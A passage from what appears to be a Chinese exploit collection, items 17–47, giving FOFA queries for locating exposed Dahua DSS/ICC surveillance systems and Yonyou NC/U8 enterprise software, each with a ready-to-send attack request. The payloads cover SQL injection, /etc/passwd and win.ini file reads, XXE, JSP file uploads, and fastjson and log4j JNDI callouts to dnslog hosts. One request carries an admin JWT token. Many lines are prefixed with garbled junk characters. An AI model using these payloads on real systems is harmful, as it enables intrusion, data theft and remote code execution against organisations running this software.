poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
0 S6 _( C4 Q2 |' H9 IConnection: close
2 o4 G' ?9 G9 p8 z* n9 _Accept: */*
Accept-Language: en
/ w8 U/ U2 `5 q+ wAccept-Encoding: gzip

' y# i4 e/ r2 _% I. p$ m' `
17. 大华 DSS itcBulletin SQL 注入
" c2 q: s! v6 ]3 }* _7 a9 BFOFA：app="dahua-DSS"
' P; m9 P- H' @POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
( _& R3 g& f) C6 s4 b2 W- qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 ^  H9 ~, ?9 {4 i4 |- KConnection: close
8 G5 w; E, ]+ m! Y5 s0 G, DContent-Length: 345
5 j9 q# M0 F2 k" JAccept-Encoding: gzip
: i5 i2 B  y* A! T! `
$ g0 X/ V5 W. ^<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
: i- \3 f2 ]) l: \& B, c<s11:Body>
$ o! M+ ^, Y9 A( G( R% b    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
* b7 {& y$ g" T5 J6 L, e3 W& G! D      <netMarkings>
0 E8 T" G8 @6 a( d4 {% b8 t, c; t) F8 t       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
7 S$ Q: V9 ]% Z& r+ w1 N" J! Z      </netMarkings>
    </ns1:deleteBulletin>
3 _! ~8 M; V( U% k& W% f9 f  </s11:Body>
</s11:Envelope>

: g  W4 H0 Q9 S: V
$ D: E- W2 N3 F- d  d7 l18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
+ w4 K; M  C0 QGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
7 y$ z9 `$ o/ Q& HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ |8 ~4 S9 ?3 z- O6 FAccept-Encoding: gzip, deflate
2 u# q# o/ [' e2 P% Y. k- {0 V# `Accept: */*
Connection: keep-alive


1 M, r3 R) j6 s' ~. S6 v
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
& D- O- ?7 i0 I) b: ?GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ p1 j  v4 a4 I# n& u7 L7 P& ZAccept-Encoding: gzip, deflate
Accept: */*
0 x. A3 u& L7 d7 T- M, n& Z: GConnection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
1 F. f9 M1 g  aUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2 b2 Y) z' W: e, o8 @0 f5 B3 zAccept: */*
Accept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
0 }0 U' b) g3 @FOFA：icon_hash="-1935899595"
4 u1 g2 }5 e; y+ y' Y  M4 U+ ]  f" GPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
& t0 M$ A3 g! X5 K# \9 p, OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( |" g2 g7 M  b! Y, RContent-Length: 161
9 x9 c- _6 e9 T% q% HAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
; r5 a- C/ [# \3 Y3 G: p
9 W5 d- @/ Z8 \2 d{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
0 B3 q% Z/ C! S0 J* c3 h; }; P0 a4 Q4 ]
6 |5 f" @" @) t( r) ]7 ^
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
+ L, s4 C) M9 m9 O9 n- T) M. A}

/ Q5 @, _) `% R+ i& F, _

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
$ \& E+ d' e. h/ nFOFA：icon_hash="-1935899595"
) {' O( p8 @6 S6 l: APOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
3 P9 i3 I) A' u- K1 bHost: your-ip
0 h& G$ f7 Z: E% o" @3 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
, ]" }7 Y/ ^; E, ]) B. f/ w2 |Accept-Encoding: gzip
: Q  U  O/ o" s8 u1 z5 \  x- U; vConnection: close
3 `# r% u% T3 {6 h* ?
{
    "a":{
  x* }6 _6 d, l9 k1 l% H1 N! r        "@type":"com.alibaba.fastjson.JSONObject",
5 q  ~7 x9 s9 i: X6 z       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}

! c+ u! X% u3 R7 X7 q' T
24. 用友NC 6.5 accept.jsp任意文件上传
+ v3 N5 \* T' y: C2 K, c" a# qFOFA：icon_hash="1085941792"
# j- @) Y1 d" p0 WPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
4 h5 L$ P# |9 w) e; h- S. hUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
& {6 V$ n  L' T7 Q8 u: Y$ E7 h9 |Connection: close
Content-Length: 449
; Y+ R8 q+ g% {: i# m* SAccept: */*
Accept-Encoding: gzip
, y' W( Q! _0 `  wContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
' g" L1 F5 Q& ]2 s/ }3 KContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
; n1 E0 x& U2 D9 P/ OContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
1 t1 G2 b" [: e! a( S" t% ]-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
+ h9 X8 F. [7 C+ ?Content-Disposition: form-data; name="fname"
$ R, T9 V0 Y6 L" D7 r' ]
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
2 |+ h; I+ e* r' O- Q6 F0 a' A-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
8 s1 P$ |3 u4 m5 jPOST /portal/registerServlet HTTP/1.1
/ y$ Q: Z# v/ f: e: J9 D8 d% VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
* f9 p; \8 c( J4 M, }0 Z3 rAccept-Encoding: gzip, deflate
1 v3 ?# G- W' P4 KAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
& B& e3 |- c% c3 \8 V; N" k
$ P5 |5 M1 v# @+ s8 {type=1&dsname=ldap://dnslog

0 Y8 c2 |* y( \/ w0 L/ O: I
3 J7 ~5 q' |$ \" _- y1 J( _
26. 用友NC linkVoucher SQL注入
3 \7 I/ P- ^/ ]+ u7 K/ |FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 s4 ~) b/ j' ?6 H0 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ f1 @; U" D4 v( v& A% L6 r, XContent-Type: application/x-www-form-urlencoded
3 Y& d* ?# H+ Y/ G! F2 oAccept-Encoding: gzip, deflate
8 O) `; u- Z* |2 i9 [Accept: */*
Connection: keep-alive

, x7 l  b8 k7 m! s; T  i
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
  ]$ Y8 K* n. D+ h$ _9 yGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
) R$ I+ |1 c  e+ j* n; p: N. @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
0 D: K- i/ i$ |# F% |  q' [Connection: close
Content-Type: text/xml; charset=utf-8
' X; }3 _$ e( I1 i" B

28. 用友NC grouptemplet 任意文件上传
4 d* s4 Z1 e4 ?/ M' k8 K- N' zFOFA：icon_hash="1085941792"
7 [8 b, I$ {" IPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
& K4 ?7 i: v9 I! n" n  h5 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
+ @7 J( K5 F6 i# p9 P5 Y7 O6 R) J
1 j9 M' m" \$ c" z------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
3 \  ]/ s# j" l. E4 L- }Content-Type: application/octet-stream
  }# n5 h2 S' x$ R, T+ Q/ j
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
8 b# K! V3 A4 t" t0 q/ i
- p0 `3 C; t9 n1 S3 C- g: W0 B
& g3 \, ?) U3 L* R& A/uapim/static/pages/nc/head.jsp
9 f0 p+ s3 c2 A1 o& ^9 z
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# o+ r6 S0 T. q' u6 t8 E2 u7 }/ pContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
/ J: i7 M" Q- j8 w4 X! b) k

30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
! U: Z- j. S3 A/ R- v% _8 d0 NPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
% o1 G- z2 Z$ X# e" mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
* N7 \7 Y7 _* Z, W1 d4 B; VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

0 \  \" Q# m2 m  M# e# Y. S------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
6 Q9 b' w  ~% x. M0 |0 o0 w+ v------WebKitFormBoundaryH970hbttBhoCyj9V--


) L% D9 {" e4 J, U! ~31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
4 x$ k8 _: X1 \Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ V! t+ B- I' E) c6 i* bContent-Type: application/x-www-form-urlencoded
' e/ h& d9 D' Y1 z2 d

32. 用友NC complainbilldetail SQL注入
% Q$ [6 d! P! {) g# uversion= NC633、NC65
( Y6 B/ C% J) A4 l4 I3 CFOFA：app="用友-UFIDA-NC"
; _: ^* |( x7 E5 qGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% `6 J& ?0 e/ T9 ?Host: your-ip
2 z7 w2 k! t& J/ n! y5 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' z8 `( I2 v/ x1 tContent-Type: application/x-www-form-urlencoded
- Y$ I" ?2 P9 H* ^Accept-Encoding: gzip, deflate
Accept: */*
! D, O! }/ Z8 Z* X1 ?$ HConnection: keep-alive


: s& ?& H4 N- W* @7 [33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
+ p) ?/ l, B: fAccept: */*
! V0 n! I: l* C2 @7 C. wConnection: keep-alive
  d4 {1 n( u# o9 Q  H
  p9 s0 B0 Y$ v+ P: T; h9 S5 ?
/ N  x$ z9 \* s34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 O5 I( Y' v9 d- ~0 F( EHost: your-ip
6 o7 \) H  a- Z: J2 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
" v% U7 v* V: X. HAccept-Encoding: gzip, deflate
+ n: |5 N& o6 [# w7 tAccept: */*
Connection: keep-alive
8 h2 N  z' l9 E: l0 q; Q" m8 u

35. 用友NC-Cloud importhttpscer任意文件上传
/ e$ B) z. d5 t! Y& wFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
* h# A% @3 x4 P8 t" CHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
4 y6 X0 b# ^/ sAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

: P3 z6 X! o& R9 d--fd28cb44e829ed1c197ec3bc71748df0
6 r, \$ R  I, L  `Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

0 T3 j/ B  n% a) f$ I$ [  j<%out.println(1111*1111);%>
, k# K1 n& e  \0 h--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
& u. s6 y7 b& a3 s& `Host: 192.168.40.130:8989
* Z; k; W# C) w$ o: T4 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% h" H+ P: E$ s, v/ h" K; G; ~Accept-Encoding: gzip, deflate
9 l" i7 s8 _8 Z3 g+ ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ w! l) \4 y+ q; l0 }$ w* z$ D/ W4 YConnection: close
- P% ~6 H# Y* \4 |9 L4 W' c! n& yContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

$ U" R3 Q! S! Cmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
- b6 L: _: z5 O! G/ ^9 ^

37. 用友NC-Cloud IUpdateService XXE
9 t7 t! [9 M+ ]4 gFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
* p5 b7 t+ x9 l5 S- e$ \POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
/ a: u! [! X) E6 j3 `) P& yHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
' |2 v! [; k5 D# q" _/ }Accept-Encoding: gzip, deflate
' @1 f- U) ]- p6 @Accept-Language: zh-CN,zh;q=0.9
7 y. z* {# M8 SConnection: close
/ w6 ~  H2 [3 j% BContent-Type: text/xml;charset=UTF-8
, R( |5 `% K0 |  J$ |4 _5 p8 CSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
* s0 [' p7 @, ~/ y# J/ V3 |
9 C  |, _# w, U3 N<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
8 G: v/ w! Z+ z9 O<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
3 z  I7 n  |% K9 S& E/ ~<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
* o! h$ K: r! u<xxx/>]]></iup:string>
* H% c$ s3 A/ a( r4 S& S</iup:getResult>
</soapenv:Body>
, N1 i) v3 b" e/ o</soapenv:Envelope>



. h; X: Z/ R. C: N$ V( u3 ~) X" h$ U38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
, k) {9 H# S4 g* \  C0 b0 n8 NHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
& F4 j% X; {1 \: DAccept-Language: zh-CN,zh;q=0.9
+ U% O* }& X/ ~. l2 i$ F9 T) L  ]Connection: close
' ?! T; c' f! a2 F7 oContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
) N9 J) a  p$ F/ Z# IFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
5 J1 |& n7 @- m# NHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
7 @5 H& I, e. Y+ D2 zConnection: close
! {8 j2 N9 Y/ B6 q9 w5 r% V$ f( HContent-Length: 85
0 N3 e/ j2 V4 m9 M$ ^+ l3 U  h$ nAccept: */*
Accept-Language: en
' f. @) x! e: L* B0 Z" X& d6 CContent-Type: application/x-www-form-urlencoded
3 S/ v; ~, G* P6 YX-Forwarded-For: 127.0.0.1
: I6 h, n5 f8 |( ?6 V0 ?/ c: z, f0 aAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
% A4 s7 X6 _$ o5 x/ r

. S6 v7 N8 A  D( {. _, v40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
6 b: v5 O+ R3 q2 rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 Y% @2 ]3 R% A  EContent-Type: text/xml
8 t2 x$ }8 B* o$ P: K: P" ?Connection: close

7 ]. l6 j4 q: R: I' O<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


# _# `+ [+ Z# C2 R  S% Z1 J41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
+ a5 I2 Y2 x' O( {/ I9 ?  S: QHost:
8 ?7 c0 A0 o( R  q3 K8 A8 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* q* X) v; _/ P" X# j0 aContent-Type: application/json
8 n# t2 D: i) CAccept-Encoding: gzip
Connection: close
) V8 I+ r& [4 L6 }/ p! @2 ?# J9 U

42. 用友GRP-U8 SmartUpload01 文件上传
, o) }) C: ^- e8 D, i0 i: LFOFA：app="用友-GRP-U8"
/ w% h- m! ~/ k: K+ q$ P, gPOST /u8qx/SmartUpload01.jsp HTTP/1.1
- H* ^. H" K- R* H+ ZHost: x.x.x.x
, m. ^3 w) ^& w8 C5 V" ?* NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

! K" L$ V# \- L" R$ W
0 e6 P. \0 z4 V/ F2 H3 d$ khttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
( P  Q$ X* |1 ~& m, w) v
9 Q( P( {: b: `" d1 l- h43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
/ j' @7 H( [. ]  UHost: your-ip
# [: t* D* j1 J* a* W. ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- A+ F& A5 X+ [! F; [: R* ]# T1 vAccept-Encoding: gzip, deflate
" }2 h3 X- y) W! n! z5 vAccept-Language: zh-CN,zh;q=0.9
% o+ B/ U$ r6 Q* C7 wConnection: close
3 j6 o5 i; N& YSOAPAction:
3 ?/ l+ A% N5 Y/ eContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
( ~/ H# X0 ?' _& T+ T7 U( H   <soapenv:Header/>
   <soapenv:Body>
$ H) ]0 B' I+ q( j! T  @      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
3 N3 }* G' n2 e# o+ o; h   </soapenv:Body>
/ b  s/ G9 h! X</soapenv:Envelope>
# }/ R' r" J" T0 ~+ l8 H1 b
8 _: M; `* s2 R+ ]( B' ^8 W
! }$ v- T6 c7 ^( Q44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
' g) e/ j& O' vGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) l$ x+ l- f! s9 FAccept-Encoding: gzip, deflate
* e$ a5 W) V. d: L; ]Accept-Language: zh-CN,zh;q=0.9
+ {9 i% I" X* J% k5 YConnection: close
# v2 k4 J. N, N$ f
# h- K6 _4 p2 S% D
+ w- z& P* H" G45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
) v+ N$ f# x2 |2 jHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
% V2 W; u: T( ]3 U- QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% q7 n+ A- f- R" u3 C. }; l2 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

; T* `8 o' ]6 L  T1 ]reqData=<?xml version="1.0"?>
; j6 K6 L; C" \) g1 U<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
, o9 I5 x1 x1 h

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
5 C  g( n* T7 I* Y0 I3 WHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  v1 x( J. }. i9 lConnection: close
) U8 a& |8 w! k; ]8 C. h' y8 U6 w, Z" T

; N! K# k! a/ _% b6 [4 K47. 用友GRP A++Cloud 政府财务云 任意文件读取
% Q) N- i- z* W# K8 D" tFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
  \2 t4 S# m! C% gHost: x.x.x.x
Cache-Control: max-age=0
. t2 a! {& }; V! L6 q- RUpgrade-Insecure-Requests: 1
